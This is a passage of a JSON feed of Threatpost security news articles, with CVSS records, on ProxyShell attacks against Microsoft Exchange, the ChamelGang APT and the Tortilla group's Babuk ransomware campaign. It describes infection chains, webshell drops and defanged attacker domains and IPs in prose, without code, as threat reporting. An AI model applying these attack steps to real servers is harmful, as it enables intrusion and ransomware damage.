"AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-26T12:39:54", "id": "THREATPOST:83C349A256695022C2417F465CEB3BB2", "href": "https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-01T12:44:45", "description": "A new APT group has emerged that\u2019s specifically targeting the fuel and energy complex and aviation industry in Russia, exploiting known vulnerabilities like Microsoft Exchange Server\u2019s [ProxyShell](<https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/>) and leveraging both new and existing malware to compromise networks.\n\nResearchers at security firm [Positive Technologies](<https://www.ptsecurity.com/ww-en/>) have been tracking the group, dubbed ChamelGang for its chameleon-like capabilities, since March. Though attackers mainly have been seen targeting Russian organizations, they have attacked targets in 10 countries so far, researchers said in a [report](<https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/>) by company researchers Aleksandr Grigorian, Daniil Koloskov, Denis Kuvshinov and Stanislav Rakovsky published online Thursday.\n\nTo avoid detection, ChamelGang hides its malware and network infrastructure under legitimate services of established companies like Microsoft, TrendMicro, McAfee, IBM and Google in a couple of unique ways, researchers observed.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOne is to acquire domains that imitate their legitimate counterparts \u2013 such as newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com and mcafee-upgrade.com. The other is to place SSL certificates that also imitate legitimate ones \u2013 such as github.com, www.ibm.com, jquery.com, update.microsoft-support.net \u2013 on its servers, researchers said.\n\nMoreover, ChamelGang \u2013 like [Nobelium](<https://threatpost.com/solarwinds-active-directory-servers-foggyweb-backdoor/175056/>) and [REvil](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) before it \u2013 has hopped on the bandwagon of attacking the supply chain first to gain access to its ultimate target, they said. In one of the cases analyzed by Positive Technologies, \u201cthe group compromised a subsidiary and penetrated the target company\u2019s network through it,\u201d according to the writeup.\n\nThe attackers also appear malware-agnostic when it comes to tactics, using both known malicious programs such as [FRP](<https://howtofix.guide/frp-exe-virus/>), [Cobalt Strike Beacon](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>), and Tiny Shell, as well as previously unknown malware ProxyT, BeaconLoader and the DoorMe backdoor, researchers said.\n\n## **Two Separate Attacks**\n\nResearchers analyzed two attacks by the novel APT: one in March and one in August. The first investigation was triggered after a Russia-based energy company\u2019s antivirus protection repeatedly reported the presence of the Cobalt Strike Beacon in RAM.\n\nAttackers gained access to the energy company\u2019s network through the supply chain, compromising a vulnerable version of a subsidiary company\u2019s web application on the JBoss Application Server. Upon investigation, researchers found that attackers exploited a critical vulnerability, [CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>), to remotely execute commands on the host.\n\nOnce on the energy company\u2019s network, ChamelGang moved laterally, deploying a number of tools along the way. They included Tiny Shell, with which a UNIX backdoor can receive a shell from an infected host, execute a command and transfer files; an old DLL hijacking technique associated with the Microsoft Distributed Transaction Control (MSDTC) Windows service to gain persistence and escalate privileges; and the Cobalt Strike Beacon for calling back to attackers for additional commands.\n\nResearchers were successful in accessing and exfiltrating data in the attack, researchers said. \u201cAfter collecting the data, they placed it on web servers on the compromised network for further downloading \u2026 using the Wget utility,\u201d they wrote.\n\n## **Cutting Short a ProxyShell Attack **\n\nThe second attack was on an organization from the Russian aviation production sector, researchers said. They notified the company four days after the server was compromised, working with employees to eliminate the threat shortly after.\n\n\u201cIn total, the attackers remained in the victim\u2019s network for eight days,\u201d researchers wrote. \u201cAccording to our data, the APT group did not expect that its backdoors would be detected so quickly, so it did not have time to develop the attack further.\u201d\n\nIn this instance, ChamelGang used a known chain of vulnerabilities in Microsoft Exchange called ProxyShell \u2013 CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 \u2013 to compromise network nodes and gain a foothold. Indeed, a number of attackers took advantage of ProxyShell throughout August, [pummeling](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) unpatched Exchange servers with attacks after a [researcher at BlackHat revealed](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) the attack surface.\n\nOnce on the network, attackers then installed a modified version of the backdoor DoorMe v2 on two Microsoft Exchange mail servers on the victim\u2019s network. Attackers also used BeaconLoader to move inside the network and infect nodes, as well as the Cobalt Strike Beacon.\n\n## **Victims Across the Globe**\n\nFurther threat intelligence following the investigation into attacks on the Russian companies revealed that ChamelGang\u2019s activity has not been limited to that country.\n\nPositive Technologies eventually identified 13 more compromised organizations in nine other countries \u2013 the U.S., Japan, Turkey, Taiwan, Vietnam, India, Afghanistan, Lithuania and Nepal. In the last four countries mentioned, attackers targeted government servers, they added.\n\nAttackers often used ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server against victims, who were all notified by the appropriate national security authorities in their respective countries.\n\nChamelGang\u2019s tendency to reach its targets through the supply chain also is likely one that it \u2013 as well as other APTs \u2013 will continue, given the success attackers have had so far with this tactic, researchers added. \u201cNew APT groups using this method to achieve their goals will appear on stage,\u201d they said.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-10-01T12:36:25", "type": "threatpost", "title": "New APT ChamelGang Targets Russian Energy, Aviation Orgs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-01T12:36:25", "id": "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496", "href": "https://threatpost.com/apt-chamelgang-targets-russian-energy-aviation/175272/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-04T16:00:33", "description": "A new-ish threat actor sometimes known as \u201cTortilla\u201d is launching a fresh round of ProxyShell attacks on Microsoft Exchange servers, this time with the aim of inflicting vulnerable servers with variants of the Babuk ransomware.\n\nCisco Talos researchers said in a Wednesday [report](<https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) that they spotted the malicious campaign a few weeks ago, on Oct. 12.\n\nTortilla, an actor that\u2019s been operating since July, is predominantly targeting U.S. victims. It\u2019s also hurling a smaller number of infections that have hit machines in the Brazil, Finland, Germany, Honduras, Thailand, Ukraine and the U.K., as shown on the map below.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg>)\n\nVictim distribution map. Source: Cisco Talos.\n\nPrior to this ransomware-inflicting campaign, Tortilla has been experimenting with other payloads, such as the PowerShell-based netcat clone PowerCat.\n\nPowerCat has a penchant for Windows, the researchers explained, being \u201cknown to provide attackers with unauthorized access to Windows machines.\u201d\n\n## ProxyShell\u2019s New Attack Surface\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>)..\n\nIn this latest ProxyShell campaign, Cisco Talos researchers said that the threat actor is using \u201ca somewhat unusual infection chain technique where an intermediate unpacking module is hosted on a pastebin.com clone pastebin.pl\u201d to deliver Babuk.\n\nThey continued: \u201cThe intermediate unpacking stage is downloaded and decoded in memory before the final payload embedded within the original sample is decrypted and executed.\u201d\n\n## Who\u2019s Babuk?\n\nBabuk is a ransomware that\u2019s probably best known for its starring role in a breach of the Washington D.C. police force [in April](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). The gang behind the malware has a short history, having only been [identified in 2021](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>), but that history shows that it\u2019s a [double-extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>) player: one that threatens to post stolen data in addition to encrypting files, as a way of applying thumbscrews so victims will pay up.\n\nThat tactic has worked. As [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>) described in February, Babuk the ransomware had already been lobbed at a batch of at least five big enterprises, with one score: The gang walked away with $85,000 after one of those targets ponied up the money, McAfee researchers said.\n\nIts victims have included Serco, an outsourcing firm that confirmed that it had been [slammed](<https://www.computerweekly.com/news/252495684/Serco-confirms-Babuk-ransomware-attack>) with a double-extortion ransomware attack in late January.\n\nLike many ransomware strains, Babuk is ruthless: It not only encrypts a victim\u2019s machine, it also [blows up backups](<https://threatpost.com/conti-ransomware-backups/175114/>) and deletes the volume shadow copies, Cisco Talos said.\n\n## What\u2019s Under Babuk\u2019s Hood\n\nOn the technical side, Cisco Talos described Babuk as a flexible ransomware that can be compiled, through a ransomware builder, for several hardware and software platforms.\n\nIt\u2019s mostly compiled for Windows and ARM for Linux, but researchers said that, over time, they\u2019ve also seen versions for ESX and a 32-bit, old PE executable.\n\nIn this recent October campaign though, the threat actors are specifically targeting Windows.\n\n## China Chopper Chops Again\n\nPart of the infection chain involves China Chopper: A webshell that dates back to 2010 but which has [clung to relevancy since](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), including reportedly being used in a massive 2019 attack against telecommunications providers called [Operation Soft Cell](<https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers>). The webshell enables attackers to \u201cretain access to an infected system using a client-side application which contains all the logic required to control the target,\u201d as Cisco Talos [described](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>) the webshell in 2019.\n\nThis time around, it\u2019s being used to get to Exchange Server systems. \u201cWe assess with moderate confidence that the initial infection vector is exploitation of ProxyShell vulnerabilities in Microsoft Exchange Server through the deployment of China Chopper web shell,\u201d according to the Cisco Talos writeup.\n\n## The Infection Chain\n\nAs shown in the infection flow chart below, the actors are using either a DLL or .NET executable to kick things off on the targeted system. \u201cThe initial .NET executable module runs as a child process of w3wp.exe and invokes the command shell to run an obfuscated PowerShell command,\u201d according to Cisco Talos\u2019 report.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg>)\n\nInfection flow chart. Source: Cisco Talos.\n\n\u201cThe PowerShell command invokes a web request and downloads the payload loader module using certutil.exe from a URL hosted on the domains fbi[.]fund and xxxs[.]info, or the IP address 185[.]219[.]52[.]229,\u201d researchers said.\n\n\u201cThe payload loader downloads an intermediate unpacking stage from the PasteBin clone site pastebin.pl,\u201d they continued \u2013 a site that \u201cseems to be unrelated to the popular pastebin.com.\u201d\n\nThey continued: \u201cThe unpacker concatenates the bitmap images embedded in the resource section of the trojan and decrypts the payload into the memory. The payload is injected into the process AddInProcess32 and is used to encrypt files on the victim\u2019s server and all mounted drives.\u201d\n\n## More Ingredients in Tortilla\u2019s Infrastructure\n\nBesides the pastebin.pl site that hosts Tortilla\u2019s intermediate unpacker code, Tortilla\u2019s infrastructure also includes a Unix-based download server.\n\nThe site is legitimate, but Cisco Talos has seen multiple malicious campaigns running on it, including hosting variants of the [AgentTesla trojan](<https://threatpost.com/agent-tesla-microsoft-asmi/163581/>) and the [FormBook malware dropper.](<https://threatpost.com/new-formbook-dropper-harbors-persistence/145614/>)\n\n## Babuk\u2019s Code Spill Helps Newbies\n\nIn July, Babuk gang\u2019s source code and builder were spilled: They were [uploaded to VirusTotal](<https://threatpost.com/babuk-ransomware-builder-virustotal/167481/>), making it available to all security vendors and competitors. That leak has helped the ransomware spread to even an inexperienced, green group like Tortilla, Cisco Talos said.\n\nThe leak \u201cmay have encouraged new malicious actors to manipulate and deploy the malware,\u201d researchers noted.\n\n\u201cThis actor has only been operating since early July this year and has been experimenting with different payloads, apparently in order to obtain and maintain remote access to the infected systems,\u201d according to its writeup.\n\nWith Babuk source code readily available, all the Tortilla actors have to know is how to tweak it a tad, researchers said: A scenario that observers predicted back when the code appeared.\n\n\u201cThe actor displays low to medium skills with a decent understanding of the security concepts and the ability to create minor modifications to existing malware and offensive security tools,\u201d Cisco Talos researchers said in assessing the Tortilla gang.\n\n## Decryptor Won\u2019t Work on Variant\n\nWhile a free [Babuk decryptor was released](<https://www.bleepingcomputer.com/news/security/babuk-ransomware-decryptor-released-to-recover-files-for-free/>) last week, it won\u2019t work on the Babuk variant seen in this campaign, according to the writeup: \u201cUnfortunately, it is only effective on files encrypted with a number of leaked keys and cannot be used to decrypt files encrypted by the variant described in this blog post.\u201d\n\n## How to Keep Exchange Safe\n\nTortilla is hosting malicious modules and conducting internet-wide scanning to exploit vulnerable hosts.\n\nThe researchers recommended staying vigilant, staying on top of any infection in its early stages and implementing a layered defense security, \u201cwith the behavioral protection enabled for endpoints and servers to detect the threats at an early stage of the infection chain.\u201d\n\nThey also recommended keeping servers and apps updated so as to squash vulnerabilities, such as the trio of CVEs exploited in the ProxyShell attacks.\n\nAlso, keep an eye out for backup demolition, as the code deletes shadow copies: \u201cBabuk ransomware is nefarious by its nature and while it encrypts the victim\u2019s machine, it interrupts the system backup process and deletes the volume shadow copies,\u201d according to Cisco Talos.\n\nOn top of all that, bolster detection: Watch out for system configuration changes, suspicious events generated by detection systems for an abrupt service termination, or abnormally high I/O rates for drives attached to servers, according to Cisco Talos.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-03T18:16:37", "type": "threatpost", "title": "\u2018Tortilla\u2019 Wraps Exchange Servers in ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-43267"], "modified": "2021-11-03T18:16:37", "id": "THREATPOST:52923238811C7BFD39E0529C85317249", "href": "https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-30T15:47:49", "description": "As of Friday \u2013 as in, shopping-on-steroids Black Friday \u2013 retail titan IKEA was wrestling with a then-ongoing reply-chain email phishing attack in which attackers were malspamming replies to stolen email threads.\n\n[BleepingComputer](<https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/>) got a look at internal 